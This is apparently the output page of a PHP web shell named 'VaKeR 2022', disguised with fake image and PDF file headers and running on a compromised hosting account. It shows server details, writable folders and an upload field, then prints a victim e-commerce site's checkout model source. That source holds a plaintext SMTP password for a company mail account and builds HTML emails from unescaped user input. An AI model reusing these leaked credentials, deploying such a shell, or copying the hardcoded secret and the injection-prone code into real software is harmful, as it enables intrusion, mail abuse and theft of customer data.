%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/apps/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/models/Checkout_model.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Checkout_model extends CI_Model {

	public function __construct()
	{
		//$this->load->database();
	}
	
	public function submitorder(){
		$flag = 'No';
		$Userdata = $this->user_model->UserByID($this->session->userdata('bh_front_user_id'));
		$payment_method = 'Cash On Delivery';
	if($this->input->post('payment_method')=='cod') { $payment_method = 'Cash On Delivery';  }
	if($this->input->post('payment_method')=='payumoney') { $payment_method = 'PayU Money';  }
	
	   $total = $this->session->userdata('amount');
	   	$invoice = $this->login->trackingno();
	    $trackingno = $invoice;
	   $this->session->set_userdata('order_tracking_number',$invoice);
		$order_data = array(
			
			'invoice_prefix' 	=> $invoice,
			'user_id' 	=> $this->session->userdata('bh_front_user_id'),
			'firstname' 	=> $Userdata[0]['first_name'],
			'lastname' 	=> $Userdata[0]['last_name'],
			'email' 	=> $Userdata[0]['email_id'],
			'telephone' 	=> $Userdata[0]['phone'],
			'mobile' 	=> $Userdata[0]['mobile'],
			'payment_firstname' 	=> $this->session->userdata('b_firstname'),
			'payment_lastname' 	=> $this->session->userdata('b_lastname'),
			'payment_country_id' 	=> $this->session->userdata('b_country_id'),
			'payment_state_id' 	=> $this->session->userdata('b_state_id'),
			
			'payment_city' 	=> $this->session->userdata('b_city'),
			'payment_address_1' 	=> $this->session->userdata('b_address_1'),
			'payment_email' 	=> $this->session->userdata('email_id'),
			'payment_phone' 	=> $this->session->userdata('telephone'),
			'payment_postcode' 	=> $this->session->userdata('b_postcode'),
			'payment_method' 	=> $payment_method,
			'payment_code' 	=> $this->session->userdata('payment_method'),
			'shipping_firstname' 	=> $this->session->userdata('s_firstname'),
			'shipping_lastname' 	=> $this->session->userdata('s_lastname'),
			'shipping_country_id' 	=> $this->session->userdata('s_country_id'),
			'shipping_state_id' 	=> $this->session->userdata('s_state_id'),
			
			'payment_state' 	=> $this->commonmod_model->GetStateName($this->session->userdata('b_state_id')),
			'payment_country' 	=> $this->commonmod_model->GetCountryName($this->session->userdata('b_country_id')),
			'shipping_state' 	=> $this->commonmod_model->GetStateName($this->session->userdata('s_state_id')),
			'shipping_country' 	=> $this->commonmod_model->GetCountryName($this->session->userdata('s_country_id')),
			
			'shipping_city' 	=> $this->session->userdata('s_city'),
			'shipping_address_1' 	=> $this->session->userdata('s_address_1'),
			'shipping_address_2' 	=> $this->session->userdata('s_address_2'),
			'shipping_postcode' 	=> $this->session->userdata('s_postcode'),
			'shipping_email' 	=> $this->session->userdata('s_email'),
			'shipping_phone' 	=> $this->session->userdata('s_phone'),
				'order_status_id' 	=> '1', 
			'total' 	=> $total,
			'currency_code' 	=> CURRENCY,
			'comment' 	=> $this->input->post('comment'),
			'date_added' => date('Y-m-d H:i:s')
		);		

		$order_id = $this->checkout_model->InsertOrderData($order_data);
		
		$flag = 'Yes';
	      $this->session->set_userdata('order_id',$order_id);
			
			
			// Reduce Item Stock Quantity
				
			// Apply Tax On Product
			$tax = 0;
			$total_price = $this->session->userdata('amount');
			
			        $order_detail = array(
					'order_id' 		=> $order_id,
					'product_id' 	=> '0',
					
					'name' 	=> '',
					
					
					'items' 	=> $this->session->userdata('items'),
					'loading_port' 	=> $this->session->userdata('loading_port'),
					'unloading_port' 	=> $this->session->userdata('unloading_port'),
					
					
					'quantity' 		=> '1',
					'price' 		=> $this->session->userdata('amount'),
					'total' 		=> $this->session->userdata('amount'),
					'tax' 		=> $tax,
				);
				 	// Add Order History			
                 $orderhistory_id = $this->checkout_model->InsertOrderHistory($order_id,'1');
               
				 // Add Order Product
                 $orderproduct_id = $this->checkout_model->InsertOrderProduct($order_detail);
				
			
			
		
		// send order email to admin
		if($flag=='Yes'){
		
		$AllorderproductList = $this->order_model->GetOrderListing($order_id);
		$Oneorder =  $this->order_model->GetOneorder($order_id);
			
			/*  Send Admin Email  */ 
				
				 $config['protocol']    = 'smtp';
        $config['smtp_host']    = 'ssl://mail.mpl-liner.com';
        $config['smtp_port']    = '465';
        $config['smtp_timeout'] = '7';
        $config['smtp_user']    = 'info@mpl-liner.com';
        $config['smtp_pass']    = 'Omsai@123#$';
        $config['charset']    = 'utf-8';
        $config['newline']    = "\r\n";
        $config['mailtype'] = 'html'; // or html
        $config['validation'] = TRUE; // bool whether to validate email or not      

				$this->email->initialize($config);


				$this->email->from(FROM_EMAIL, FROM_NAME);
				$this->email->to(ADMIN_EMAIL_ID);
				$this->email->cc(CC_EMAIL_ID);
				//$this->email->bcc('ambuj@graphicsmerlin.com');

				$this->email->subject('New Order - #'.$order_id.' | '.WEBSITE_EMAIL_TITLE);
			
				$message = '<h2>'.WEBSITE_EMAIL_TITLE.'</h2>';
				$message .= '<p>Hi Admin, <br> '.$Userdata[0]['first_name'].' have send order.</p>';
				
				$message .= '
      <h2>MPL</h2>
      <table class="table table-bordered table-hover" width="100%" style="border: 1px solid #ddd;border-collapse: collapse;">
        <thead class="tableHead">
          <tr>
            <td class="text-left" colspan="2" style="border-width: 2px;padding:8px; border: 1px solid #ddd;line-height: 1.42857143;">'.$this->commonmod_model->getSystemValue('shipping_common').'</td>
          </tr>
        </thead>
        <tbody></tbody></table>';
		
		$message .= '
      <h2>Order Information</h2>
      <table class="table table-bordered table-hover" width="100%" style="border: 1px solid #ddd;border-collapse: collapse;">
        <thead class="tableHead">
          <tr>
            <td class="text-left" colspan="2" style="border-width: 2px;padding:8px; border: 1px solid #ddd;line-height: 1.42857143;">Order Details</td>
          </tr>
        </thead>
        <tbody>
          <tr>
            <td class="text-left" style="width: 50%; border: 1px solid #ddd;padding: 8px;line-height: 1.42857143;">
			
			<b>Tracking Code:</b>
              '.$invoice.'
              <br>
			<b>Order ID:</b>
              '.$AllorderproductList[0]['order_id'].'
              <br>
              <b>Date Added:</b>
              '.date("d/ m/ Y",strtotime($Oneorder[0]['date_added'])).'</td>
            <td class="text-left" style="width: 50%; padding: 8px;line-height: 1.42857143; border: 1px solid #ddd"><b>Payment Method:</b>
              '.$Oneorder[0]['payment_method'].'
               <br>
              <b>Email: </b>'.$Oneorder[0]['email'].'<br>
              <b>Telephone: </b>'.$Oneorder[0]['telephone'].'
			  <br>
             <b>Mobile: </b> '.$Oneorder[0]['mobile'].'</td>
          </tr>
        </tbody>
      </table>
      <table class="table table-bordered table-hover" width="100%" style="border:1px solid #ddd; border-collapse: collapse;">
        <thead>
          <tr>
            <td class="text-left" style="width: 50%; border: 1px solid #ddd;padding: 8px;line-height: 1.42857143; vertical-align: top; font-weight:bold;">Payment Address</td>
            <td class="text-left" style="width: 50%; border: 1px solid #ddd;padding: 8px;line-height: 1.42857143; vertical-align: top; font-weight:bold;">Shipping Address</td>
          </tr>
        </thead>
        <tbody>
          <tr>
            <td class="text-left" style="border: 1px solid #ddd;padding: 8px;line-height: 1.42857143;">'.$Oneorder[0]['payment_firstname'].'
              '.$Oneorder[0]['payment_lastname'].'
              <br>
              '.$Oneorder[0]['payment_address_1'].'
              <br>
              '.$Oneorder[0]['payment_address_2'].'
              <br>
              '.$Oneorder[0]['payment_city'].'
              <br>
              '.$Oneorder[0]['payment_postcode'].'
			  <br>
            
              '.$this->commonmod_model->GetStateName($Oneorder[0]['payment_state_id']).'
              <br>
              '.$this->commonmod_model->GetCountryName($Oneorder[0]['payment_country_id']).'</td>
            <td class="text-left" style="border: 1px solid #ddd;padding: 8px;line-height: 1.42857143;">'.$Oneorder[0]['shipping_firstname'].'
              '.$Oneorder[0]['shipping_lastname'].'
              <br>
              '.$Oneorder[0]['shipping_address_1'].'
              <br>
              '.$Oneorder[0]['shipping_address_2'].'
              <br>
              '.$Oneorder[0]['shipping_city'].'
              <br>
              '.$Oneorder[0]['shipping_postcode'].'
              <br>
              '.$this->commonmod_model->GetStateName($Oneorder[0]['shipping_state_id']).'
              <br>
              '.$this->commonmod_model->GetCountryName($Oneorder[0]['shipping_country_id']).'</td>
          </tr>
        </tbody>
      </table>';
      
	  
	   $message .= '  <table class="table table-bordered table-hover" width="100%" style="border: 1px solid #ddd;border-collapse: collapse;">
          <thead>
            <tr>
              <td class="text-left" style="padding:8px; border:1px solid #ddd; font-weight:bold; line-height: 1.42857143;">Items</td>
              <td class="text-left" style="padding:8px; border:1px solid #ddd; font-weight:bold; line-height: 1.42857143;">Loading Port</td>
              <td class="text-right" style="padding:8px; border:1px solid #ddd; font-weight:bold; line-height: 1.42857143;">Unloading Port</td>
              
               </tr>
          </thead>
		  <tbody>';
		    $grand_total = 0; foreach($AllorderproductList as $Allproducts) {
			  
            $message .= '<tr>
              <td class="text-left" style="padding:8px; border:1px solid #ddd;"> '.  $Allproducts['items'].'
                </td>
              <td class="text-left"  style="padding:8px; border:1px solid #ddd;">'.$Allproducts['loading_port'].'</td>
              <td class="text-right" style="padding:8px; border:1px solid #ddd;">'.$Allproducts['unloading_port'].'</td>
              
              </tr>';
			}
			
			$message .= '  </tbody></table>';
			  
			  
	$message .='<p>Thanks <br>
				'.WEBSITE_SIGNATURE.'
				</p>';
	

				$this->email->message($message);

				$this->email->send();
				
				
          /*  Send User Email  */ 
		  
		  $User_EmailId = $Oneorder[0]['email'];
		  
		        $config['protocol'] = 'sendmail';
				$config['mailpath'] = '/usr/sbin/sendmail';
				$config['mailtype'] = 'html';
				$config['charset'] = 'iso-8859-1';
				$config['wordwrap'] = TRUE;

				$this->email->initialize($config);
				$this->email->from(FROM_EMAIL, FROM_NAME);
				$this->email->to($User_EmailId);
				//$this->email->cc(CC_EMAIL_ID);
				//$this->email->bcc('them@their-example.com');

				$this->email->subject(WEBSITE_EMAIL_TITLE .' New Order:  '.$order_id);
				$mobileno = $this->commonmod_model->getSystemValue('mobile_number');
				
				$message2 = '<p>Hi '.trim($Oneorder[0]['payment_firstname']).', <br><br>
				Tracking Number: '.$trackingno.' <br>
				Your order '.$order_id.' <br> 
															
				You may Login into your account, and click - My Account in top right corner to check all your order details from time to time. 											
				</p>';
				

				$message2 .='<p>Thanks <br>
				'.WEBSITE_SIGNATURE.'
				</p>';

				$this->email->message($message2);

				$this->email->send();
				
				
			
		}
		
	}
	
	public function InsertOrderData($insertdata){
		$this->db->insert('bh_order',$insertdata);
		$insert_id = $this->db->insert_id();
		return $insert_id;
	
	}
	public function InsertOrderProduct($productdata){
		$insert_id = 0;
		if($productdata['quantity']!='0' && $productdata['quantity'] > 0){
	    $this->db->insert('bh_order_product',$productdata);
		$insert_id = $this->db->insert_id();
		}
		return $insert_id;
	
	}
	public function InsertOrderHistory($order_id,$order_status_id){
	$data = array("order_id"=>$order_id,"order_status_id"=>$order_status_id,"comment"=>'',
	"date_added"=>date("Y-m-d h:i:s"));
	    $this->db->insert('bh_order_history',$data);
		$insert_id = $this->db->insert_id();
		return $insert_id;
	}
	
	public function GetUserAllAddress(){
	  $this->db->select("*");
		$this->db->from('bh_address');	
	
		$this->db->where("user_id",$this->session->userdata('bh_front_user_id'));
		
		$this->db->order_by("address_id","desc");
		
		$query=$this->db->get();
		$all_address =  $query->result_array(); 
		return $all_address;
       	
	}
	
	public function GetUserAddress($type){
	  $this->db->select("*");
		$this->db->from('bh_address');	
	
		$this->db->where("user_id",$this->session->userdata('bh_front_user_id'));
		
		$this->db->where("address_type",$type);
		$this->db->order_by("address_id","desc");
		
		$query=$this->db->get();
		$all_address =  $query->result_array(); 
		return $all_address;
       	
	}
	
	function getCartTotalAmount(){
		$grand_total = 0;
		$totalamount = 0;
		$gst = 0;
	if ($cart = $this->cart->contents()){
	$grand_total = 0;
	$grand_deposite = 0; 
	$i = 1;
						foreach ($cart as $item):
						
						   $grand_total = $grand_total + $item['subtotal']+$tax_amount;
						   $grand_deposite = $grand_deposite + $item['qty']*$item['deposite'];
						   endforeach;
		$totalamount = ($grand_total+$grand_deposite);
		
										
	}
	return $totalamount;
	
	}
	
	public function ReduceProductStock($product_id,$quantity){
		if($product_id!=""){
	$productdata = $this->listing_model->GetSupportListingByID($product_id);
    $new_quantity = $productdata[0]['quantity'] - $quantity;
	$quantity_arr = array('quantity'=>$new_quantity);
	$this->db->where("id",$product_id);
	$this->db->update("bh_support_listings",$quantity_arr);
		}
	}

	
}

VaKeR 2022